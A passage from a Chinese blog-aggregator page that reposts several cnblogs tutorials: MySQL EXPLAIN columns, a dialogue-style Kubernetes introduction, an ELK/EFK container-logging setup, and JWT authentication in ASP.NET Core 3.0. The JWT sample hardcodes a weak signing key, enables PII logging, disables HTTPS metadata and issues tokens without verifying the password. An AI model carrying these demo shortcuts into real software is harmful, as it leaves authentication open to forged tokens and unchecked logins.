      類似於兩表連接中被驅動表的 eq_ref 訪問方式,unique_subquery 是針對在一些包含 IN 子查詢的查詢語句中,如果查詢優化器決定將 IN 子查詢轉換為 EXISTS 子查詢,而且子查詢可以使用到主鍵或者唯一索引進行等值匹配時,則會使用 unique_subquery

    index_subquery

      index_subquery 與 unique_subquery類似,只不過訪問子查詢中的表時使用的是普通的索引

    range

      使用索引來檢索給定範圍的行,當使用 =、<>、>、>=、<、<=、IS NULL、<=>、BETWEEN 或者 IN 操作符,用常量比較關鍵字列時,則會使用 rang

      前提是必須基於索引,也就是 id 上必須有索引

    index

      當我們可以使用索引覆蓋,但需要掃描全部的索引記錄時,則會使用 index;進行統計時非常常見

    ALL

      我們熟悉的全表掃描

  possible_keys

    展示在這個 SQL 中,可能用到的索引有哪些,但不一定在查詢時使用。若為空則表示沒有可以使用的索引,此時可以通過檢查 WHERE 語句看是否可以引用某些列或者新建索引來提高性能

  key

    展示這個 SQL 實際使用的索引,如果沒有選擇索引,則此列為null,要想強制 MySQL 使用或忽視 possible_keys 列中的索引,在查詢中使用 FORCE INDEX、USE INDEX 或者I GNORE INDEX

  key_len

    展示 MySQL 決定使用的鍵長度(字節數)。如果 key 是 NULL,則長度為 NULL。在不損失精確性的情況下,長度越短越好

  ref

    展示的是與索引列作等值匹配的東東是個啥,比如只是一個常數或者是某個列。它显示的列的名字(或const),此列多數時候為 Null

  rows

    展示的是 mysql 解析器認為執行此 SQL 時預計需要掃描的行數。此數值為一個預估值,不是具體值,通常比實際值小

  filtered

    展示的是返回結果的行數所佔需要讀到的行(rows 的值)的比例,當然是越小越好啦

  extra

    表示不在其他列但也很重要的額外信息。取值有很多,我們挑一些比較常見的過一下

    using index

      表示 SQL 使用了使用覆蓋索引,而不用回表去查詢數據,性能非常不錯

    using where

      表示存儲引擎搜到記錄後進行了後過濾(POST-FILTER),如果查詢未能使用索引,using where 的作用只是提醒我們 mysql 要用 where 條件過濾結果集

    using temporary

      表示 mysql 需要使用臨時表來存儲結果集,常見於排序和分組查詢

    using filesort

      表示 mysql 無法利用索引直接完成排序(排序的字段不是索引字段),此時會用到緩衝空間(內存或者磁盤)來進行排序;一般出現該值,則表示 SQL 要進行優化了,它對 CPU 的消耗是比較大的

    impossible where

      查詢語句的WHERE子句永遠為 FALSE 時將會提示該額外信息

 

 

     當然還有其他的,不常見,等碰到了大家再去查吧(現在凌晨 1 點,我實在是太困了!)

總結

  1、背景疑問

    還記得客服小姐姐的問題嗎,她嫌我們太慢,具體原因下篇再詳細介紹,這裏就提一下:連表查詢的 連接鍵 類型不一致,一個 INT 類型,一個 VARCHAR 類型,導致 type 是 ALL(這誰設計的呀,坑死人呀! 難道是我 ?)

  2、思維導圖

    本來是想自己畫個思維導圖的,可上網一搜,發現了一個人家畫好了的思維導圖,我就偷個懶借用下:,裏面描述的很詳細,同時也包括了各種示例,真香!

  3、肚中精華

    EXPLAIN 的輸出內容很多,我們沒必要全部掌握,重點我已經幫大家划好

    type,就像 RMB 一樣重要

    key,也像 RMB 一樣重要

    extra,還像 RMB 一樣重要

    說白了還是 RMB 最重要,不是,我的意思是 type、key、extra 都很重要,其他的用到了再去買吧

  4、示例代碼

    

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

※評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

※智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選

程序員修神之路–kubernetes是微服務發展的必然產物



菜菜哥,我昨天又請假出去面試了


戰況如何呀?


多數面試題回答的還行,但是最後讓我介紹微服務和kubernetes的時候,掛了


話說微服務和kubernetes內容確實挺多的


那你給我大體介紹一下唄


可以呀,不過要請和coffee哦


◆◆
kubernetes介紹
◆◆

在很多項目的發展初期,都是小型或者大型的單體項目,部署在單台或者多台服務器上,以單個進程的方式來運行。這些項目隨着需求的遞增,發布周期逐漸增長,迭代速度明顯下降。傳統的發布方式是:開發人員將項目打包發給運維人員,運維人員進行部署、資源分配等操作。

隨着軟件行業架構方式的改變,這些大型的單體應用按照業務或者其他維度逐漸被分解為可獨立運行的組件,我們稱之為微服務。微服務彼此之間被獨立開發、部署、升級、擴容,真正實現了大型應用的解耦工作。關於微服務的介紹,大家可以去擼一下菜菜之前的文章:

https://mp.weixin.qq.com/s/b7Bd8giwWVNF1CtkaDaVpw

https://mp.weixin.qq.com/s/BixgyGFrlwZ7wpgDdrmU_g

軟件開發行業就是這樣奇葩,每一個問題被解決之後總是伴隨着另外的問題出現,就像程序員改bug,為什麼總有改不完的bug,真的很令人頭大!!!

微服務雖然解決了一些問題,但是隨着微服務數量的增多,配置、管理、擴容、高可用等要求的實現變的越來越困難,包括運維團隊如何更好的利用硬件資源並降低服務器成本,以及部署的自動化和故障處理等問題變得原來越棘手。

以上問題正是kubernetes要解決並且擅長的領域,它可以讓開發者自主部署應用,自主控制迭代的頻率,完全解放運維團隊。而運維團隊的工作重心從以往的服務器資源管理轉移到了kubernetes的資源管理。kubernetes最厲害之處是對硬件基礎設施進行了封裝和抽象,使得開發人員完全不用去了解硬件的基礎原理,不用去關注底層服務器。kubernetes內部把設置的服務器抽象為資源池,在部署應用的時候,它會自動給應用分配合適合理的服務器資源,並且能夠保證這些應用能正常的和其他應用進行通信。一個kubernetes集群的大體結構如下:

那kubernetes有哪些具體優勢呢?能說下不?


再加一杯coffee?


◆◆
kubernetes優勢
◆◆

微服務雖好,但是數量多了就會有量帶來的問題。隨着系統組件的不斷增長,這些組件的管理問題逐漸浮出水面。首先我們要明白kubernetes是一個軟件系統,它依賴於linux容器的特性來管理組件(kubernetes和容器並非一個概念,請不要混淆)。通過kubernetes部署應用程序時候,你的集群無論包含多少個節點,對於kubernetes來說不會有什麼差異,這完全得益於它對底層基礎設置的抽象,使得數個節點運行的時候表現的好像一個節點一樣。

自動擴容

在kubernetes系統中,它可以對每個應用進行實時的監控,並能根據策略來應對突發的流量做出反應。例如:在流量高峰期間,kubernetes可以根據各個節點的資源利用情況,進行自動的增加節點或者減少節點操作,這在以前的傳統應用部署方式中是不容易做到的。

簡化部署流程

以往的傳統應用發布的時候,需要開發人員把項目打包,並檢查項目的配置文件是否正確,然後發給運維人員,運維人員然後把線上的應用版本備份,然後停止服務進行更新。在kubernetes中,我們多數情況下只需要一條指令或者點擊一個按鈕,就可以把應用升級到最新版本,而且升級的過程中還可做做到不間斷服務。當然整個的流程還涉及到容器的操作,本次這裏不再做過多介紹。

但是這裡有一個意外情況,如果kubernetes集群中存在不同架構CPU的服務器,而你的應用程序是針對特定CPU架構的軟件,可能需要在kubernetes中指定節點去運行你的應用程

提高服務器資源的利用率

傳統應用部署的時候,多數情況下總會把資源留有一定的比例來作為資源的緩衝,來應對流量的峰值,很少有人把單個服務器資源利用率提高到90%以上,從服務器故障的概率來說,服務器資源使用率在90%要比50%高很多,而且服務器一旦出現故障,都是運維人員來解決問題和背鍋,所以傳統的物理機或者虛擬機部署應用的方式,硬件的資源利用率相比較來說是比較低的。

而kubernetes對集群的管理由於抽象了底層硬件設施,所以已經將應用程序和基礎設施分離開來。當你告訴kubernetes運行你 應用程序時,它會根據程序的資源需求和集群內每隔節點的可用資源情況選擇合適的節點來運行。而且通過容器的技術,可以讓應用程序在任何時間遷移到集群中的任何機器上。而對於服務器選擇的最優的組合,kubernetes比人工做的更好,它會根據集群中每台服務器的負載情況來把硬件利用率提高到最高。

自動修復

在傳統的應用架構中,如果一台服務器發生故障,那麼這台服務器上的應用將會全部down掉,多數情況下需要運維人員去處理,這也是為什麼運維人員需要7*24小時隨時待命的一個重要原因。相信你也曾看到過因為半夜故障運維人員罵娘的情景。在kubernetes中,它監視並管理着所有的節點和應用,在節點出現故障的時候,kubernetes可以自動將該節點上的應用遷移到其他健康節點,並將故障節點在資源池中排除。如果你的kubernetes集群基礎設施有足夠的備用資源來支撐系統的正常運行,運維人員完全可以拖延到正常的工作時間再處理故障,讓程序員和運維人員過一下965的工作節奏。

這點有點像Actor模型的設計理論,提倡的是任其崩潰原理。

一致的運行環境

無論你是開發還是運維人員,在傳統的部署方案中,總會有運行環境差異性的煩惱,這樣的差異性大到每個服務器的差異,小到開發環境、仿真環境、生產環境,而且每個環境的服務器都會隨着時間的推移而變化。我相信你一定遇到過開發環境程序運行正常,生產環境卻異常的情況。這種差異性不僅僅是因為生產環境由運維團隊管理,開發環境由開發者管理,更重要的這兩組人對系統的要求是不同的,運維團隊會對線上生產環境定時的打補丁,做安全監測等操作,而開發者可能根本就不會弔這些問題。除此之外,應用系統依賴的第三方庫可能在開發、仿真、生產環境中版本不同,這樣的問題反正我是遇到過。

而kubernetes採用的容器技術,在把應用打包的時候,運行環境也一起被打入包中,這就保證了相同版本的容器包(鏡像)在任何服務器上都有相同的運行環境

kubernetes原來有這麼優勢,那我得好好學學了


雖然kubernetes優勢很多,但是入門門檻比較高,而且在個別情況下反而不合適


kubernetes要求開發人員對容器技術和網絡知識有一定了解,所以是否採用kubernetes要根據團隊的綜合技能和項目斟酌使用,並不是所有項目採用kubernetes都有利

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

※評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

※智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選

你必須知道的容器日誌 (2) 開源日誌管理方案 ELK/EFK

本篇已加入《》,可以點擊查看更多容器化技術相關係列文章。上一篇《》中介紹了Docker自帶的logs子命令以及其Logging driver,本篇將會介紹一個流行的開源日誌管理方案ELK。

一、關於ELK

1.1 ELK簡介

  ELK 是Elastic公司提供的一套完整的日誌收集以及展示的解決方案,是三個產品的首字母縮寫,分別是ElasticSearchLogstashKibana

  • Elasticsearch是實時全文搜索和分析引擎,提供搜集、分析、存儲數據三大功能
  • Logstash是一個用來搜集、分析、過濾日誌的工具
  • Kibana是一個基於Web的圖形界面,用於搜索、分析和可視化存儲在 Elasticsearch指標中的日誌數據   

1.2 ELK日誌處理流程

   上圖展示了在Docker環境下,一個典型的ELK方案下的日誌收集處理流程:

  • Logstash從各個Docker容器中提取日誌信息
  • Logstash將日誌轉發到ElasticSearch進行索引和保存
  • Kibana負責分析和可視化日誌信息

  由於Logstash在數據收集上並不出色,而且作為Agent,其性能並不達標。基於此,Elastic發布了beats系列輕量級採集組件。

  這裏我們要實踐的Beat組件是Filebeat,Filebeat是構建於beats之上的,應用於日誌收集場景的實現,用來替代 Logstash Forwarder 的下一代 Logstash 收集器,是為了更快速穩定輕量低耗地進行收集工作,它可以很方便地與 Logstash 還有直接與 Elasticsearch 進行對接。

  本次實驗直接使用Filebeat作為Agent,它會收集我們在第一篇《》中介紹的json-file的log文件中的記錄變動,並直接將日誌發給ElasticSearch進行索引和保存,其處理流程變為下圖,你也可以認為它可以稱作 EFK。

二、ELK套件的安裝

  本次實驗我們採用Docker方式部署一個最小規模的ELK運行環境,當然,實際環境中我們或許需要考慮高可用和負載均衡。

  首先拉取一下sebp/elk這個集成鏡像,這裏選擇的tag版本是640(最新版本已經是7XX了):

docker pull sebp/elk:640

  注:由於其包含了整個ELK方案,所以需要耐心等待一會。

  通過以下命令使用sebp/elk這個集成鏡像啟動運行ELK:

docker run -it -d --name elk \
    -p 5601:5601 \
    -p 9200:9200 \
    -p 5044:5044 \
    sebp/elk:640

  運行完成之後就可以先訪問一下 http://[Your-HostIP]:5601 看看Kibana的效果:  

  Kibana管理界面

Kibana Index Patterns界面

  當然,目前沒有任何可以显示的ES的索引和數據,再訪問一下http://[Your-HostIP]:9200 看看ElasticSearch的API接口是否可用:

ElasticSearch API

  Note:如果啟動過程中發現一些錯誤,導致ELK容器無法啟動,可以參考《》及《》一文。如果你的主機內存低於4G,建議增加配置設置ES內存使用大小,以免啟動不了。例如下面增加的配置,限制ES內存使用最大為1G:

docker run -it -d --name elk \
    -p 5601:5601 \
    -p 9200:9200 \
    -p 5044:5044 \
  -e ES_MIN_MEM=512m \ -e ES_MAX_MEM=1024m \ sebp/elk:640

三、Filebeat配置

3.1 安裝Filebeat

  這裏我們通過rpm的方式下載Filebeat,注意這裏下載和我們ELK對應的版本(ELK是6.4.0,這裏也是下載6.4.0,避免出現錯誤):

wget https://artifacts.elastic.co/downloads/beats/filebeat/filebeat-6.4.0-x86_64.rpm
rpm -ivh filebeat-6.4.0-x86_64.rpm

3.2 配置Filebeat  

   這裏我們需要告訴Filebeat要監控哪些日誌文件 及 將日誌發送到哪裡去,因此我們需要修改一下Filebeat的配置:

cd /etc/filebeat
vim filebeat.yml

  要修改的內容為:

  (1)監控哪些日誌?

filebeat.inputs:

# Each - is an input. Most options can be set at the input level, so
# you can use different inputs for various configurations.
# Below are the input specific configurations.

- type: log

  # Change to true to enable this input configuration.
  enabled: true

  # Paths that should be crawled and fetched. Glob based paths.
  paths:
    - /var/lib/docker/containers/*/*.log - /var/log/syslog

  這裏指定paths:/var/lib/docker/containers/*/*.log,另外需要注意的是將 enabled 設為 true。

  (2)將日誌發到哪裡?

#-------------------------- Elasticsearch output ------------------------------
output.elasticsearch:
  # Array of hosts to connect to.
  hosts: ["192.168.16.190:9200"]

  # Optional protocol and basic auth credentials.
  #protocol: "https"
  #username: "elastic"
  #password: "changeme"

  這裏指定直接發送到ElasticSearch,配置一下ES的接口地址即可。

  Note:如果要發到Logstash,請使用後面這段配置,將其取消註釋進行相關配置即可:

#----------------------------- Logstash output --------------------------------
#output.logstash:
  # The Logstash hosts
  #hosts: ["localhost:5044"]

  # Optional SSL. By default is off.
  # List of root certificates for HTTPS server verifications
  #ssl.certificate_authorities: ["/etc/pki/root/ca.pem"]

  # Certificate for SSL client authentication
  #ssl.certificate: "/etc/pki/client/cert.pem"

  # Client Certificate Key
  #ssl.key: "/etc/pki/client/cert.key"

3.3 啟動Filebeat

  由於Filebeat在安裝時已經註冊為systemd的服務,所以只需要直接啟動即可:

systemctl start filebeat.service

  檢查Filebeat啟動狀態:

systemctl status filebeat.service

3.4 驗證Filebeat

  通過訪問ElasticSearch API可以發現以下變化:ES建立了以filebeat-開頭的索引,我們還能夠看到其來源及具體的message。

四、Kibana配置

  接下來我們就要告訴Kibana,要查詢和分析ElasticSearch中的哪些日誌,因此需要配置一個Index Pattern。從Filebeat中我們知道Index是filebeat-timestamp這種格式,因此這裏我們定義Index Pattern為 filebeat-*

  點擊Next Step,這裏我們選擇Time Filter field name為@timestamp:

  單擊Create index pattern按鈕,即可完成配置。

  這時我們單擊Kibana左側的Discover菜單,即可看到容器的日誌信息啦:

  仔細看看細節,我們關注一下message字段:

  可以看到,我們重點要關注的是message,因此我們也可以篩選一下只看這個字段的信息:

  此外,Kibana還提供了搜索關鍵詞的日誌功能,例如這裏我關注一下日誌中包含unhandled exception(未處理異常)的日誌信息:

  這裏只是樸素的展示了導入ELK的日誌信息,實際上ELK還有很多很豐富的玩法,例如分析聚合、炫酷Dashboard等等。筆者在這裏也是初步使用,就介紹到這裏啦。

五、Fluentd引入

5.1 關於Fluentd

  前面我們採用的是Filebeat收集Docker的日誌信息,基於Docker默認的json-file這個logging driver,這裏我們改用Fluentd這個開源項目來替換json-file收集容器的日誌。

  Fluentd是一個開源的數據收集器,專為處理數據流設計,使用JSON作為數據格式。它採用了插件式的架構,具有高可擴展性高可用性,同時還實現了高可靠的信息轉發。Fluentd也是雲原生基金會 (CNCF) 的成員項目之一,遵循Apache 2 License協議,其github地址為:。Fluentd與Logstash相比,比佔用內存更少、社區更活躍,兩者的對比可以參考這篇文章《》。

  因此,整個日誌收集與處理流程變為下圖,我們用 Filebeat 將 Fluentd 收集到的日誌轉發給 Elasticsearch。

   當然,我們也可以使用Fluentd的插件(fluent-plugin-elasticsearch)直接將日誌發送給 Elasticsearch,可以根據自己的需要替換掉Filebeat,從而形成Fluentd => ElasticSearch => Kibana 的架構,也稱作EFK。

5.2 運行Fluentd

  這裏我們通過容器來運行一個Fluentd採集器:

docker run -d -p 24224:24224 -p 24224:24224/udp -v /edc/fluentd/log:/fluentd/log fluent/fluentd

  默認Fluentd會使用24224端口,其日誌會收集在我們映射的路徑下。

  此外,我們還需要修改Filebeat的配置文件,將/edc/fluentd/log加入監控目錄下:

#=========================== Filebeat inputs =============================

filebeat.inputs:

# Each - is an input. Most options can be set at the input level, so
# you can use different inputs for various configurations.
# Below are the input specific configurations.

- type: log

  # Change to true to enable this input configuration.
  enabled: true

  # Paths that should be crawled and fetched. Glob based paths.
  paths:
    - /edc/fluentd/log/*.log

  添加監控配置之後,需要重新restart一下filebeat:

systemctl restart filebeat

5.3 運行測試容器

  為了驗證效果,這裏我們Run兩個容器,並分別制定其log-dirver為fluentd:

docker run -d \
           --log-driver=fluentd \
           --log-opt fluentd-address=localhost:24224 \
           --log-opt tag="test-docker-A" \
           busybox sh -c 'while true; do echo "This is a log message from container A"; sleep 10; done;'

docker run -d \
           --log-driver=fluentd \
           --log-opt fluentd-address=localhost:24224 \
           --log-opt tag="test-docker-B" \
           busybox sh -c 'while true; do echo "This is a log message from container B"; sleep 10; done;'

  這裏通過指定容器的log-driver,以及為每個容器設立了tag,方便我們後面驗證查看日誌。

5.4 驗證EFK效果

  這時再次進入Kibana中查看日誌信息,便可以通過剛剛設置的tag信息篩選到剛剛添加的容器的日誌信息了:

六、小結

  本文從ELK的基本組成入手,介紹了ELK的基本處理流程,以及從0開始搭建了一個ELK環境,演示了基於Filebeat收集容器日誌信息的案例。然後,通過引入Fluentd這個開源數據收集器,演示了如何基於EFK的日誌收集案例。當然,ELK/EFK有很多的知識點,筆者也還只是初步使用,希望未來能夠分享更多的實踐總結。

參考資料

CloudMan,《》

一杯甜酒,《》

於老三,《》

zpei0411,《》

曹林華,《》

 

作者:

出處:

本文版權歸作者和博客園共有,歡迎轉載,但未經作者同意必須保留此段聲明,且在文章頁面明顯位置給出原文鏈接。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

※評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

※智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選

.NET core3.0 使用Jwt保護api

摘要:

本文演示如何向有效用戶提供jwt,以及如何在webapi中使用該token通過JwtBearerMiddleware中間件對用戶進行身份認證。

認證和授權區別?

首先我們要弄清楚認證(Authentication)和授權(Authorization)的區別,以免混淆了。認證是確認的過程中你是誰,而授權圍繞是你被允許做什麼,即權限。顯然,在確認允許用戶做什麼之前,你需要知道他們是誰,因此,在需要授權時,還必須以某種方式對用戶進行身份驗證。 

什麼是JWT?

根據維基百科的定義,JSON WEB Token(JWT),是一種基於JSON的、用於在網絡上聲明某種主張的令牌(token)。JWT通常由三部分組成:頭信息(header),消息體(payload)和簽名(signature)。

頭信息指定了該JWT使用的簽名算法:

header = '{"alg":"HS256","typ":"JWT"}'

HS256表示使用了HMAC-SHA256來生成簽名。

消息體包含了JWT的意圖:

payload = '{"loggedInAs":"admin","iat":1422779638}'//iat表示令牌生成的時間

未簽名的令牌由base64url編碼的頭信息和消息體拼接而成(使用”.”分隔),簽名則通過私有的key計算而成:

key = 'secretkey'  
unsignedToken = encodeBase64(header) + '.' + encodeBase64(payload)  
signature = HMAC-SHA256(key, unsignedToken)

最後在未簽名的令牌尾部拼接上base64url編碼的簽名(同樣使用”.”分隔)就是JWT了:

token = encodeBase64(header) + '.' + encodeBase64(payload) + '.' + encodeBase64(signature)

# token看起來像這樣: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsb2dnZWRJbkFzIjoiYWRtaW4iLCJpYXQiOjE0MjI3Nzk2Mzh9.gzSraSYS8EXBxLN_oWnFSRgCzcmJmMjLiuyu5CSpyHI

JWT常常被用作保護服務端的資源(resource),客戶端通常將JWT通過HTTP的Authorization header發送給服務端,服務端使用自己保存的key計算、驗證簽名以判斷該JWT是否可信:

Authorization: Bearer eyJhbGci*...<snip>...*yu5CSpyHI

準備工作

使用vs2019創建webapi項目,並且安裝nuget包

Microsoft.AspNetCore.Authentication.JwtBearer

Startup類
  • ConfigureServices 添加認證服務

services.AddAuthentication(options =>
            {
                options.DefaultAuthenticateScheme = JwtBearerDefaults.AuthenticationScheme;
                options.DefaultChallengeScheme = JwtBearerDefaults.AuthenticationScheme;
                options.DefaultScheme = JwtBearerDefaults.AuthenticationScheme;
            }).AddJwtBearer(options =>
            {
                options.SaveToken = true;
                options.RequireHttpsMetadata = false;
                options.TokenValidationParameters = new TokenValidationParameters()
                {
                    ValidateIssuer = true,
                    ValidateAudience = true,
                    ValidAudience = "https://www.cnblogs.com/chengtian",
                    ValidIssuer = "https://www.cnblogs.com/chengtian",
                    IssuerSigningKey = new SymmetricSecurityKey(Encoding.UTF8.GetBytes("SecureKeySecureKeySecureKeySecureKeySecureKeySecureKey"))
                };
            });
  • Configure 配置認證中間件

 app.UseAuthentication();//認證中間件

創建一個token

  • 添加一個登錄model命名為LoginInput

public class LoginInput
    {

        public string Username { get; set; }

        public string Password { get; set; }
    }
  • 添加一個認證控制器命名為AuthenticateController

[Route("api/[controller]")]
    public class AuthenticateController : Controller
    {
        [HttpPost]
        [Route("login")]
        public IActionResult Login([FromBody]LoginInput input)
        {
            //從數據庫驗證用戶名,密碼 
            //驗證通過 否則 返回Unauthorized

            //創建claim
            var authClaims = new[] {
                new Claim(JwtRegisteredClaimNames.Sub,input.Username),
                new Claim(JwtRegisteredClaimNames.Jti,Guid.NewGuid().ToString())
            };
            IdentityModelEventSource.ShowPII = true;
            //簽名秘鑰 可以放到json文件中
            var authSigningKey = new SymmetricSecurityKey(Encoding.UTF8.GetBytes("SecureKeySecureKeySecureKeySecureKeySecureKeySecureKey"));

            var token = new JwtSecurityToken(
                   issuer: "https://www.cnblogs.com/chengtian",
                   audience: "https://www.cnblogs.com/chengtian",
                   expires: DateTime.Now.AddHours(2),
                   claims: authClaims,
                   signingCredentials: new SigningCredentials(authSigningKey, SecurityAlgorithms.HmacSha256)
                   );

            //返回token和過期時間
            return Ok(new
            {
                token = new JwtSecurityTokenHandler().WriteToken(token),
                expiration = token.ValidTo
            });
        }
    }
添加api資源

利用默認的控制器WeatherForecastController

    • 添加個Authorize標籤

    • 路由調整為:[Route(“api/[controller]”)] 代碼如下

 [Authorize]
    [ApiController]
    [Route("api/[controller]")]
    public class WeatherForecastController : ControllerBase

到此所有的代碼都已經准好了,下面進行運行測試

運行項目

使用postman進行模擬

  • 輸入url:https://localhost:44364/api/weatherforecast

     

     發現返回時401未認證,下面獲取token

  • 通過用戶和密碼獲取token

    如果我們的憑證正確,將會返回一個token和過期日期,然後利用該令牌進行訪問

  • 利用token進行請求

    ok,最後發現請求狀態200!

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

※評比前十大台北網頁設計台北網站設計公司知名案例作品心得分享

※智慧手機時代的來臨,RWD網頁設計已成為網頁設計推薦首選